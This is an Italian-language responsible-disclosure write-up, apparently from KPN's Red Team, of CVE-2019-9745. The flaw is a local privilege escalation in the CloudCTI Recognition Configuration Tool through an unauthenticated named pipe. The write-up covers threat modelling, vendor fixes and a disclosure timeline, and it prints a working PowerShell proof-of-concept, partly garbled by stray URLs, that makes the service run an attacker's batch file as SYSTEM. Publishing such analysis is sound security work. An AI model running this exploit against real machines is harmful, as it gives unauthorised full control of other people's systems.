Un'analisi delle cause profonde dei problemi incontrati mostra l'importanza di pratiche come la TM (threat modelling). La TM aiuta a identificare i rischi nelle fasi iniziali di progettazione e sviluppo. Ciò può portare alla mitigazione di rischi inaccettabili o alla riprogettazione/reimplementazione. Sebbene il lettore sia incoraggiato a condurre la propria analisi, vengono fornite descrizioni delle contromisure del fornitore a scopo di riferimento.

La vulnerabilità

Il software del fornitore è composto da quattro applicazioni che lavorano insieme. La prima applicazione è l'interfaccia utente grafica (GUI). Questa consente all'utente di avviare il recupero di informazioni da diversi pacchetti software CRM:

La GUI delega il recupero delle informazioni a un servizio (la seconda applicazione) inviando un messaggio. I primi problemi di sicurezza si manifestano qui: non solo chiunque sul sistema può osservare i messaggi tra la GUI e il servizio per determinarne il formato e il contenuto (compromettendo la riservatezza), ma può anche inviare i propri messaggi (compromettendo l'autorizzazione). Inoltre, la fonte dei messaggi al servizio non viene verificata (compromettendo la non ripudiabilità). Nella terminologia della modellazione delle minacce STRIDE, ciò significa che il sistema è soggetto a divulgazione di informazioni e manomissione. Infatti, le informazioni ricavate da questi messaggi sono state determinanti nella scoperta della vulnerabilità.

La terza applicazione è uno dei tanti importatori specializzati. Il servizio delega il recupero delle informazioni per uno specifico pacchetto CRM a uno specifico importatore. Il messaggio inviato dalla GUI contiene istruzioni specifiche per questo importatore. Esaminando l'importatore Exquise CRM, si scopre che il recupero delle informazioni viene ulteriormente delegato a un'applicazione esterna (la quarta). Esaminando la logica interna dell'importatore, è stato scoperto che l'applicazione esterna poteva essere specificata nel messaggio tra la GUI e il servizio. Il problema che si manifesta qui è che l'applicazione esterna viene eseguita senza verificarne l'identità (compromettendo la non ripudiabilità).

Concatenando questi problemi, abbiamo potuto intercettare i messaggi per determinarne il formato e inviare un messaggio in cui specificavamo la nostra applicazione esterna malevola. Tale applicazione esterna viene eseguita con gli stessi privilegi dell'importatore/servizio. Poiché questi privilegi sono i più elevati possibili all'interno del sistema, viene ottenuto il controllo totale e il sistema viene compromesso.

Questi problemi sono mitigati dal fornitore crittografando i messaggi (mitigando il problema di riservatezza) tramite l'uso di segreti condivisi unici (mitigando il problema di autorizzazione) a cui possono accedere solo gli utenti di sistema autenticati che li possiedono (mitigando il primo problema di non ripudiabilità). Infine, l'applicazione esterna è firmata crittograficamente (mitigando il secondo problema di non ripudiabilità). La combinazione di queste misure mitiga con successo la vulnerabilità.

Dettagli tecnici

Quando viene installata l'applicazione GUI CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe), viene esaminata con Process Explorer. Questo rivela che un servizio associato (Recognition Update Client Service) è installato e eseguito con diritti NT AUTHORITY\SYSTEM:

Investigando l'eseguibile del servizio (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe), diventa evidente che è sviluppato utilizzando il linguaggio di programmazione .NET. Può essere decompilato usando dnSpy per ottenere informazioni sulla sua logica interna, che verranno dettagliate di seguito.

RUCS2017Service (lo spazio dei nomi .NET interno nell'eseguibile del servizio) risulta essere un semplice wrapper attorno allo spazio dei nomi RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Questo definisce un server Named Pipe chiamato RUCS20151029 in RUCS2017.dll:RUCS2017.TRUCS2017:902:

Il server named pipe viene avviato in RUCS2017.dll:RUCS2017.TRUCS2017:833:

Il seguente one-liner di PowerShell viene utilizzato per confermare che questa pipe è effettivamente attiva sul sistema:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"

\.\pipe\RUCS20151029

Quando la funzionalità Aggiungi applicazione nella GUI viene utilizzata (vedi Figura 01) si osserva il seguente traffico non crittografato sulla named pipe utilizzando IO Ninja:

Questo contiene i seguenti dati JSON:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }

Attraverso tentativi ed errori si scopre che ExporterApplication può essere uno script batch che non richiede il download di risorse aggiuntive e può essere collocato in una directory (utente) controllata da un utente con privilegi inferiori. Poiché tutti gli utenti possono scrivere nel Named Pipe RUCS20151029, il seguente script PowerShell viene utilizzato per inviare JSON manipolato al named pipe:

CVE-2019-9745.ps1:```powershell

Import .NET classes in Powershell.

add-Type -assembly "System.Core"

Create required 'data' directory (per internal programming logic).

New-Item -ItemType directory -Path data -Force > $null

Remove any cached results, which may block execution of the exploit.

Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'

Construct/configure a named pipe client.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);

Craft JSON payload that points to our external/own application (CVE-2019-9745.bat).

$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'

Properly encode the payload.

$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)

Send the payload.

$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()

Quando il messaggio viene inviato da un utente normale (con privilegi bassi) (usando CVE-2019-9745.ps1) possiamo effettivamente vedere che CVE-2019-9745.bat viene eseguito con privilegi elevati (NT Authority\SYSTEM):

Conclusione

Dal punto di vista del pentesting, testare le falle nella logica (di business) di un sistema può richiedere un investimento di tempo significativo. Poiché la maggior parte dei pentest sono black-box testing (in contrapposizione al white-box testing) questo di solito comporta reverse engineering. Tuttavia, come dimostrato, le falle possono essere altrettanto devastanti dei bug. Per questo motivo è fortemente consigliato un approccio a due punte che testi sia i bug che le falle.

Dal punto di vista di un fornitore è importante non solo porsi la domanda 'come possono essere utilizzati i nostri prodotti' ma anche 'come possono essere abusati'. SDLC (Secure Development Lifecycle) può aiutare con la gestione del rischio durante le varie fasi del ciclo di vita del prodotto: requisiti di sicurezza, architettura e un modello di minaccia aiutano la fase di progettazione ad alto e basso livello. L'analisi del codice statica/dinamica e il peer reviewing aiutano il processo di sviluppo. Infine, il penetration testing fornisce un audit (indipendente). Naturalmente, i risultati di questi processi devono essere confrontati con un appetito al rischio. Da un punto di vista finanziario, vari studi (Il Business Case per la Sicurezza nell'SDLC) hanno concluso che affrontare i difetti (di sicurezza) nelle fasi iniziali del ciclo di vita del prodotto è più economico della correzione. Ciò significa che investire nell'SDLC può ridurre il TCO (Total Cost of Ownership) a lungo termine.

Collegando entrambe le prospettive, è importante continuare a investire nella consapevolezza della sicurezza su tutti i fronti attraverso formazione e istruzione. Ciò garantisce che tutte le parti siano aggiornate sia sulle opportunità che sui rischi per la sicurezza nel dominio IT che continuano ad evolversi rapidamente. In questo modo, possiamo tutti contribuire a una società più sicura.

Timeline di Divulgazione Responsabile

• 25-01-2019 : Vulnerabilità segnalata al fornitore CloudCTI da KPN CERT.
• 14-02-2019 : Hotfix rilasciato ai clienti da CloudCTI.
• 13-03-2019 : Prenotazione CVE da parte di MITRE.
• 18-04-2019 : Patch iniziale fornita a KPN da CloudCTI.
• 26-04-2019 : Nuovo test della vulnerabilità da parte del KPN Red team.
• 02-05-2019 : Patch rivista fornita a KPN da CloudCTI.
• 02-05-2019 : Nuovo test della vulnerabilità da parte del KPN Red team.
• 19-06-2019 : Patch rilasciata ai clienti da CloudCTI.
• 27-06-2019 : Notifica di sicurezza rilasciata da CloudCTI.
• 14-10-2019 : Pubblicazione di questo writeup da parte del KPN Red team su GitHub.
• 14-10-2019 : Pubblicazione CVE da parte di MITRE.
• 07-11-2019 : Pubblicazione di questo writeup da parte del KPN Red Team su kpn.com.

Gravità

Il punteggio CVSS che abbiamo assegnato a questa vulnerabilità è 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).